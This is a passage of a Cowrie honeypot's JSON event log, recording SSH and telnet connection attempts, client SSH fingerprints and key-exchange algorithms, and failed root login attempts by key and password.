es128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:28.848288Z","src_ip":"205.210.31.71","session":"bbeb2274b5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":37306,"dst_ip":"10.17.0.5","dst_port":23,"session":"704abe3709ce","protocol":"telnet","message":"New connection: 213.108.3.46:37306 (10.17.0.5:23) [session: 704abe3709ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:31.938243Z"}
{"eventid":"cowrie.session.closed","duration":0.015299558639526367,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:31.953414Z","src_ip":"213.108.3.46","session":"704abe3709ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.10302424430847,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:36.213188Z","src_ip":"152.42.224.71","session":"ffcc11f79079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:37.180933Z","src_ip":"205.210.31.71","session":"bbeb2274b5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.177.179.91","src_port":43310,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c650808339","protocol":"ssh","message":"New connection: 213.177.179.91:43310 (159.203.135.109:22) [session: 28c650808339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:40.697636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:40.703333Z","src_ip":"213.177.179.91","session":"28c650808339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:42.269520Z","src_ip":"213.177.179.91","session":"28c650808339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":27728,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd72b981287b","protocol":"ssh","message":"New connection: 79.127.181.44:27728 (10.17.0.5:22) [session: fd72b981287b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:42.994727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:43.200586Z","src_ip":"79.127.181.44","session":"fd72b981287b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:43.392983Z","src_ip":"79.127.181.44","session":"fd72b981287b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:43.399652Z","src_ip":"79.127.181.44","session":"fd72b981287b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.01181149482727,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:43.837090Z","src_ip":"152.42.224.71","session":"f94597f00a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:51.869677Z","src_ip":"213.177.179.91","session":"28c650808339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.60347056388855,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:53.270463Z","src_ip":"152.42.224.71","session":"0e98ecf39219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35448,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f66b26e55b0","protocol":"telnet","message":"New connection: 152.42.224.71:35448 (10.17.0.5:23) [session: 8f66b26e55b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:55.059891Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46666,"dst_ip":"10.17.0.5","dst_port":23,"session":"95f1fde6b937","protocol":"telnet","message":"New connection: 152.42.224.71:46666 (10.17.0.5:23) [session: 95f1fde6b937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:57.660050Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46672,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fc2d271e7bd","protocol":"telnet","message":"New connection: 152.42.224.71:46672 (10.17.0.5:23) [session: 7fc2d271e7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:58.729258Z"}
{"eventid":"cowrie.session.closed","duration":42.79817819595337,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:01.248133Z","src_ip":"152.42.224.71","session":"5de9c64cec2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.235.26.80","src_port":57920,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f2f429fe180","protocol":"ssh","message":"New connection: 167.235.26.80:57920 (10.17.0.5:22) [session: 8f2f429fe180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:04.342741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:04.348367Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:04.438599Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:41:31:99:e4:58:d6:49:a4:2c:25:4e:60:25:b1:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwV9KbueYC1U/5MQV96kS6wT+P+DTLWxDhu0GoYkJ6HcI3v1T1FWrrZmcH3MFdprqiCTrDdN0OEf8DOeG+ntQrmlHrsU0YHwwS6FvvWJ7w0l3CQ8CXzzo2QU2xsC1+TZTC8H/WlaO/PQ+1LBv11IC/h/XYPxIfOi2ZAhj9WbPvo6vvp8ftvI4LmDKKwycqatAROixsAjCHVqIgm2Atqo7vnB6GmcvPF5iET1Vac71DrviyV4k3MidGB2gpzXAfxb8lUanmiv9b8zSSU6XABxpYi3+WN03D7U0Gg/V1kJ6A6K+iT6jEN/sSW+kHW1Jxdl7ln8VMbt3xmRl0oyCeM55V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:41:31:99:e4:58:d6:49:a4:2c:25:4e:60:25:b1:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:04.870804Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:41:31:99:e4:58:d6:49:a4:2c:25:4e:60:25:b1:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwV9KbueYC1U/5MQV96kS6wT+P+DTLWxDhu0GoYkJ6HcI3v1T1FWrrZmcH3MFdprqiCTrDdN0OEf8DOeG+ntQrmlHrsU0YHwwS6FvvWJ7w0l3CQ8CXzzo2QU2xsC1+TZTC8H/WlaO/PQ+1LBv11IC/h/XYPxIfOi2ZAhj9WbPvo6vvp8ftvI4LmDKKwycqatAROixsAjCHVqIgm2Atqo7vnB6GmcvPF5iET1Vac71DrviyV4k3MidGB2gpzXAfxb8lUanmiv9b8zSSU6XABxpYi3+WN03D7U0Gg/V1kJ6A6K+iT6jEN/sSW+kHW1Jxdl7ln8VMbt3xmRl0oyCeM55V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:04.875253Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:a6:28:df:08:9d:8b:37:8f:41:5b:b4:2d:b0:31:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChppfdT5teK5VLlPW27uFZI+eXhKf7/DsFqU1OYBqAx3tI9IvBcAGl8tOJv3z0iPJZuHgJcWqj+BmsDm/imrk/hEOAtECo4Y0qtS5bce6npZtAFgUPtDS7/yJmz844OQEJVcFdByLl6qP69Cutfy6hMu1lCOmNRPCk2MFCUeQjVuvH+9U/WszjqnmxDcPRpshzuI43gpnV1FBjbzNJU+BPu2BEn2aIqi+LWHdkFhPeCuf3yv3oGaCSpt/Xsem5ccjxrAwEdUkasqCGzLIeN+N8q65Ba2lTfbcTMYTH3Brps+KlS9Qy6cRHKamjdwugSoXsjZImgd/ZZ4TWCGZkXAi/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:a6:28:df:08:9d:8b:37:8f:41:5b:b4:2d:b0:31:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:04.975563Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:a6:28:df:08:9d:8b:37:8f:41:5b:b4:2d:b0:31:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChppfdT5teK5VLlPW27uFZI+eXhKf7/DsFqU1OYBqAx3tI9IvBcAGl8tOJv3z0iPJZuHgJcWqj+BmsDm/imrk/hEOAtECo4Y0qtS5bce6npZtAFgUPtDS7/yJmz844OQEJVcFdByLl6qP69Cutfy6hMu1lCOmNRPCk2MFCUeQjVuvH+9U/WszjqnmxDcPRpshzuI43gpnV1FBjbzNJU+BPu2BEn2aIqi+LWHdkFhPeCuf3yv3oGaCSpt/Xsem5ccjxrAwEdUkasqCGzLIeN+N8q65Ba2lTfbcTMYTH3Brps+KlS9Qy6cRHKamjdwugSoXsjZImgd/ZZ4TWCGZkXAi/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:04.979839Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:35:1a:e1:d7:b1:3a:27:f5:e2:73:43:09:e2:58:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKGqROV84ks4n7G8Sm8Pm4QfuAtwFKhi01uy7sk+fyMRceu3E78KrtgcKJFOJ4ctv4TCHK7de3esfVGo0Vllt96mSc9aqiDdGLOiyROJ5BeKNIM1LqK0lbb/oy8B/uZ8Xzj/jpxtje6DaI/PBPcvJGtSLAfbfxm794gq5tx2wuIZY+86ut8lgSM/pAax2dHAmrlLgfILshvN07BcsIzwrb3+taEeT+BbCICTuglKDsiQR2ppeRETtjKqrEK/nFQXHgHpUn6wkhtsUwPgeAGGUeKcCdRACTshbKbG+9Vpx4V+AIbvLOWlPTLmRyDbkJBCzsiTNeQgtsqhPiLu6h1nQf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:35:1a:e1:d7:b1:3a:27:f5:e2:73:43:09:e2:58:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:05.076193Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:35:1a:e1:d7:b1:3a:27:f5:e2:73:43:09:e2:58:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKGqROV84ks4n7G8Sm8Pm4QfuAtwFKhi01uy7sk+fyMRceu3E78KrtgcKJFOJ4ctv4TCHK7de3esfVGo0Vllt96mSc9aqiDdGLOiyROJ5BeKNIM1LqK0lbb/oy8B/uZ8Xzj/jpxtje6DaI/PBPcvJGtSLAfbfxm794gq5tx2wuIZY+86ut8lgSM/pAax2dHAmrlLgfILshvN07BcsIzwrb3+taEeT+BbCICTuglKDsiQR2ppeRETtjKqrEK/nFQXHgHpUn6wkhtsUwPgeAGGUeKcCdRACTshbKbG+9Vpx4V+AIbvLOWlPTLmRyDbkJBCzsiTNeQgtsqhPiLu6h1nQf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:05.080909Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:38:00:c0:fb:ce:b9:29:56:74:f0:bc:dd:40:22:23","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICOJZezJ75SIhOGv09LBqOFAlUTE1/GReo4GOR0M0NBP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9a:38:00:c0:fb:ce:b9:29:56:74:f0:bc:dd:40:22:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:05.177585Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:38:00:c0:fb:ce:b9:29:56:74:f0:bc:dd:40:22:23","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICOJZezJ75SIhOGv09LBqOFAlUTE1/GReo4GOR0M0NBP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:05.182653Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:77:86:cd:80:0c:45:32:2a:08:14:ae:32:87:b5:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoZHF6Ibz+Big5xHIGopafzuW5v8YTbl3QzPyf37fJpEYQ27AlSQLloCyHmlkcpxwP6CmQwZf3tybT1V+MGL/rJ32gu2H2krjO0J4nlzL5a0hRRAKh6wys1xY91sNKt07fcsZFFkJUyQ8DS3nnSHPq0XhELGXt7WSeSc8dwSnztOwIYAw5h0IGzB0ygigdykMunUPqVHvQy8amohmAdNf5/NYvo3p/z4mEqTHgz/O2jMkAO7pzF8idBfeP/jb+VouiANoEwvmQgCvSC0eJIgq+5Lnm6LdaErYEASmfYr+U8p4lhkNrdAEnB2wOios18d1Eb9nRZ4nHjvudQi/y5sbr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:77:86:cd:80:0c:45:32:2a:08:14:ae:32:87:b5:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:05.276613Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:77:86:cd:80:0c:45:32:2a:08:14:ae:32:87:b5:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoZHF6Ibz+Big5xHIGopafzuW5v8YTbl3QzPyf37fJpEYQ27AlSQLloCyHmlkcpxwP6CmQwZf3tybT1V+MGL/rJ32gu2H2krjO0J4nlzL5a0hRRAKh6wys1xY91sNKt07fcsZFFkJUyQ8DS3nnSHPq0XhELGXt7WSeSc8dwSnztOwIYAw5h0IGzB0ygigdykMunUPqVHvQy8amohmAdNf5/NYvo3p/z4mEqTHgz/O2jMkAO7pzF8idBfeP/jb+VouiANoEwvmQgCvSC0eJIgq+5Lnm6LdaErYEASmfYr+U8p4lhkNrdAEnB2wOios18d1Eb9nRZ4nHjvudQi/y5sbr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:05.283351Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:05.383072Z","src_ip":"167.235.26.80","session":"8f2f429fe180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39812,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc2222901692","protocol":"telnet","message":"New connection: 152.42.224.71:39812 (10.17.0.5:23) [session: cc2222901692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:05.888790Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":37632,"dst_ip":"159.203.135.109","dst_port":22,"session":"7508ee3cfede","protocol":"ssh","message":"New connection: 176.32.39.21:37632 (159.203.135.109:22) [session: 7508ee3cfede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:07.636215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:07.641336Z","src_ip":"176.32.39.21","session":"7508ee3cfede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:07.770249Z","src_ip":"176.32.39.21","session":"7508ee3cfede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfvceyu","message":"login attempt [root/cfvceyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:08.132404Z","src_ip":"176.32.39.21","session":"7508ee3cfede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.67576742172241,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:08.286159Z","src_ip":"152.42.224.71","session":"f33445dd463c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:09.254593Z","src_ip":"176.32.39.21","session":"7508ee3cfede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.31269145011902,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:15.005359Z","src_ip":"152.42.224.71","session":"04a1935dad39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.94.94.32","src_port":57644,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b2089b51d3a","protocol":"ssh","message":"New connection: 141.94.94.32:57644 (10.17.0.5:22) [session: 6b2089b51d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:24.745611Z"}
